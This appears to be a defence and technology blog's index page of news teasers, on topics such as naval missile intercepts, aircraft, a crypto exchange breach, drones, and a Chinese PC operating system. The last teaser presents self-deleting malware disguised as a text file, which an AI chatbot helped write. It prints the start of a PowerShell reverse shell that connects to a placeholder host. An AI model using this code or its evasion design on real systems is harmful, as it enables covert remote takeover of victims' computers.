Warfare and Technology | The 5th Domain

The first European ballistic missile kill was scored on the heels of U.S. Navy ships operating in the Red Sea, where the HMS Diamond destroyed a ballistic missile targeting the American container ship MV Maersk with French designed Aster surface-to-air missile, part of her Sea Viper air defence system. The first such Anti-Ballistic Missile (ABM)kill cam e with little fanfare when on the "morning of April 14, U.S. ships successfully engaged and destroyed more than 80 one-way attack uncrewed aerial vehicles and at least six ballistic missiles intended to strike Israel from Iran and Yemen,” reads a statement from CENTCOM.  Working in concert, the USS Carney and the USS Arleigh Burke came together that day to intercept six Iranian ballistic missiles before the HMS Diamond also scored a seventh ballistic missile kill, and a first for the Royal Navy with her first missile-to-missile engagement in combat since the Gulf War. Previously, the U.S. Navy had stood alone as the primary force i...

European Security and Defense Most recent and previous issue of European Security and Defense: Drone Evolution and Hypersonic Weapons.   

  This 'Squadron Publications' F-15 'Walk Around' digital book in full: Free download.  It does not go into the F-15EX, yet remains an excellent read on the F-15 Eagle. Introduction of the F15 Eagle  The F-15 Eagle, developed by McDonnell Douglas (now Boeing), is considered the best fighter ever built. ​ Since its service entry in 1974, it has achieved over 100 aerial victories without being shot down. The F-15E Strike Eagle variant can carry up to 23,000 pounds of air-to-ground ordnance with high accuracy. ​ Development History of the F15 Eagle The F-15 originated from the USAF Fighter Experimental (FX) proposal in 1965. ​ McDonnell Douglas was selected as the winner in December 1969, with the prototype's first flight on July 22, 1972. The first production F-15 was delivered to the USAF in November 1974, with operational units established shortly thereafter. ​ The F-15 has a maximum speed of 1,650MPH, and a service ceiling of 60,000 ft altitude.   ...

M2A1 Bradley AFV by Squadron Publications.

By 2040, advanced brain-computer interfaces (BCIs) will give the American Warfighter remarkable advantages. BCIs allow for direct neural communication between machine and brain bypassing both the peripheral nervous system and sensory organs, demonstrating the ability to read and interpret sensory information, the ‘inner voice’, and the intention to perform motor functions.  Remarkably, this same technology has been used to artificially stimulate neurons to convey sensory information, control motor functions, improve cognitive ability and enable rudimentary brain-to-brain communication. How the average individual interacts with others and their networked environment will revolutionize communication. Business forecasts indicate that the first commercially available Apple or Google thought-controlled messaging devices will be on the market within 10 years and that the brain-computer style interface could become the most common computer interface by the early 2030s.  As with any...

Five deployed Navy  destroyers operating in the Red Sea have shot down 14 anti- ship ballistic missiles (ASBMs), 7 cruise missiles, and more than 70 drones - a total of more than  91 targets, including the first real-world ASBM kills.  This information comes from a U.S. Navy report from January 2025.  U.S. Navy ships have "...fired nearly 400 individual munitions...battling Iran-backed Houthi rebels. That includes the firing of 120 SM-2 Standard Surface-to-Air missiles, 80 SM-6 missiles, a combined 20 Evolved Sea Sparrow Missiles (ESSM) and SM-3 missiles and finally 160 rounds from F ive-inch main guns." RIM-174 Standard Extended Range Active Missile:  SM-6 The SM-6 missile which undertook 9 years of development before seeing it transition to active-service, uses the airframe of the former SM-2ER Block IV (RIM-156A) missile.  The SM-6 uses the same airframe as the former SM-2ER but with an active radar homing seeker rather than using p...

Coinbase, a leading cryptocurrency exchange has come forward regarding a data breach that has compromised the personal information of 69,461 individuals. Coinbase, a leading cryptocurrency exchange with a massive user base of over 100 million customers, has come forward regarding a significant data breach.  In notifications sent to the Office of Maine's Attorney General, Coinbase disclosed that a small group of employees, engaged in support functions at overseas locations, misappropriated customer data. Importantly, while the breach did not expose passwords, seed phrases, private keys, or any sensitive information that could jeopardize users' access to their funds, it did include crucial personal identifiers. The compromised data consisted of names, dates of birth, the last four digits of Social Security numbers, masked bank account numbers, bank account identifiers, as well as addresses, phone numbers, and email addresses. This incident underscores the need for vigilance and p...

 Unmanned Underwater Vehicle, funding and a captured  Chinese. UUV. The US Congress, via the House Armed Services Committee (HASC), has proposed a bill that will ensure up to US$150 billion for defence spending for the remainder of this year with allocations of over US $1.8 billion for the manufacture of medium Unmanned Surface Vehicles (USVs), US $1.3 billion for the development of Unmanned Undersea Vehicles (UUVs), and US$188.36 million for the development and testing of maritime robotic autonomous systems and enabling technologies. Another US $250 million will go to the development of wave-powered UUVs like the Slocum glider which looked as though the Chinese have copied its design, with a glider-type UUV found near the Philippines and looking much like captured Slocum gliders, with Chinese lettering marking “HY-119” and “HY-L0119” on the rear of the underwater UUV. Chinese UUV In 2009, the first transatlantic UUV with no engine to propel it forward rode the ocean currents ...

 Out-of-control spacecraft Kosmos 482 could   DID impact Earth this week. Kosmos 482, which has been orbiting the Earth for 53 years post launch in 1972 will tumble back to our planet this week. Launched by the former Soviet Union and originally intended as a mission to Venus, Kosmos 482 failed to reach her proper orbit. Now, after more than 50 years in space, the aging spacecraft is being dragged down by Earth's gravity. According to space debris trackers, Kosmos 482 is expected to re-enter the atmosphere sometime this week.  Yet not all of it will burn up completely upon re-entry, given it was designed to survive extreme Venusian heat and pressure, making it possible that parts of it could impact like a meteor. Its descent module is old; Yet it did and does still have a post-re-entry parachute deployment system. But will it still work after 53 years? © Kristopher Richey 2025

HarmonyOS   HarmonyOS  Huawei Technologies had an announcement that they one day hope will mark both a historic news conference and be the first displacement of Western technology in the desktop market by ousting Microsoft with new HarmonyOS powered PC's. In Shenzhen, Guangdong province P.R.C. on Thursday, Huawei Technologies debuted personal computers powered by its operating system HarmonyOS, which uses WiFi twice as fast as current speeds. Aiming to displace  Microsoft's Windows and Apple's macOS in desktop Operating Systems, the HarmonyOS PCs leveraged over 2,700 core patents and five years of research and development efforts across 20 research institutes within China. Requiring 10,000 coders to build Huawei's HarmonyOS, the OS is an entirely novel kernel-level design.   For decades, the global PC operating system market has been dominated by Microsoft's Windows and Apple's MacOS, while domestic alternatives have largely relied on Linux-based modificati...

Pakistan shows her cyberwarfare and fifth domain capabilities in her conflict with India Pakistani's Cyber Warriors are real and here to stay! In a show-of-force involving non-kinetic weapons, Pakistan used cyberattacks learned from its Chinese ally to inflict devastating economic losses on an India, which places initial blame for rising hostilities on Pakistan. Stock markets went reeling downward, with Billions of dollars in losses yet to be tallied as Pakistan boasts it used less than 10% of its zero-days which make up part of her cyberwarfare weaponry. "While the world saw...Fateh-1, Fateh-2 rockets and Babur cruise missiles, hitting targets deep inside India including S-400 radar..." said the Pakistani Defense Ministry, "all hell broke loose as our cyber-attackers..." destroyed: 10 major SCADA arrays 1,744 servers wiped 13 government websites down India's entire railway systems inoperative Mumbai's power grid was forced to run on an emergency backup....

Jane's Land Based Air Defence | Free Full Book Download  For more full books, including  Squadron publication's AH64 Apache  or  M2/M3 Bradley Fighting Vehicle The SA-10 is said to have an electronic inter-vehicle communications and data transmission link that does not require any interconnecting cables. An extendable 24.4 m high tower can be employed which raises the planar array Flap Lid Search and Track Radar, giving low-level coverage out to 43km with higher engagement ranges reaching out to some 100km's. The ADATS consists of a 360° traversable turret fitted with a surveillance radar, 8-12 um wavelength forward looking infra-red (FLIR) and TV trackers, a Nd:YAG laser rangefinder and a post-flight flare for E/O tracking when in manual mode. Maximum speed of Mach 3.5 and enables it to reach 8 km and 10 seconds or 12 km in 17.5 seconds, in the latter case the missile is still travelling at Mach 1.5. ©  Jane’s Information Group Limited, Sentinel Hous...

South Korea aims to ink a 24 billion dollar submarine deal: With Canada. South Korea, officially known as the Republic of Korea (ROK), has proposed a $24 billion deal for submarines to meet the needs of Canada’s Patrol Submarine Project. This project is prioritized by the Department of Defence as Canada's flagship military initiative for the 2030s, aiming to acquire 12 new submarines capable of defending the world's longest coastline. The ROK is offering its advanced Block 3 KSS-III diesel-electric submarines (SSK) featuring Air Independent Propulsion (AIP), which allows for submerged endurance of approximately 20 days. The ROK's proposal aligns with Canada's requirement to have new submarines in service by 2035, with plans to provide four submarines in Canadian service by that date. By the late 2030s, Canada will retire all of its Victoria-class submarines. The delivery of the 12 submarines will be fulfilled by Hanwha Ocean and Hyundai Heavy Industries, who are designi...

Sandy Cay: Another line in the sand crossed by you, guessed it; China. Sandy Cay Sandy Cay and Chinese South China Sea sovereignty claims. China has recently taken steps to assert its maritime control in the contested South China Sea by establishing sovereign jurisdiction over Sandy Cay reef, a small and uninhabited sandbank. Earlier, we have seen China seize and militarize the Paracel Islands (South China Sea), the Spratly Islands , Scarborough Shoal , Fiery Cross, Subi, Mischief, Cuarteron, Gaven, Hughes and finally Johnson reefs. The former South China Sea land relamation projects serve her military doctrine. This move included planting the Chinese flag on the reef, a strategic location just a few kilometres away from the Philippine-held Thitu Island,  a vital military installation of the Philippines that includes an army aviation-capable airstrip and 250 residents.  The situation has escalated tensions in the region as Sandy Cay is also claimed by Taiwan, Vietnam, and th...

AH64 Apache Gunship AH64 Apache Gunship in Action: A Squadron Publication. The U.S. Army and foreign nations have seen the production of some 4,450 Apache helicopters.  This number does not even account for the upgraded AH64E Longbow version, with new build models entering the Army aviation fleet nor the upgraded Manned Unmanned Teaming Experimental or MUM-TX capable gunships being tested since 2019.  MUM-TX Version 6 and Unmanned Aerial Systems MUM-TX Apache's using 'Version 6 capabilities' completed testing with the gunner position now including flying both the General Atomics MQ-1C Gray Eagle and Textron Shadow Unmanned Aerial Systems or UAS.  MQ-1C Gray Eagle Textron Shadow UAS AH64E Version 6 AH64E Version 6 improvements include: Aided target detection/classification multimode laser image blending system Radar frequency interferometer (RFI) Passive ranging/range extension Fire-control radar enhancements To learn how the AH64 developed into the modern platform with UA...

Using Artificial Intelligence to make a self-deleting reverse shell: Creative uses of ChatGPT. Below you will find the C++ code included. Once compiled the reverse shell simply appears as a text file, complete with a default Windows icon, despite being an executable file. When the code runs it will replace itself with a dummy text file in the same directory, leaving no evidence nor source code of the program. The code launches a PowerShell script to create a reverse shell written by ChatGPT. The only requirement given to ChatGPT was to write a script that would connect to netcat, and create a reverse shell. The code is in bold  text.   $host1 = “Shell.Ip.Address” $port1 = 1234 $socket = New-Object System.Net.Sockets.TcpClient($host1, $port1) $stream = $socket.GetStream() $writer = New-Object System.IO.StreamWriter($stream) $writer.AutoFlush = $true $reader = New-Object System.IO.StreamReader($stream) $writer.WriteLine(“Connected.”) $response = “” while(...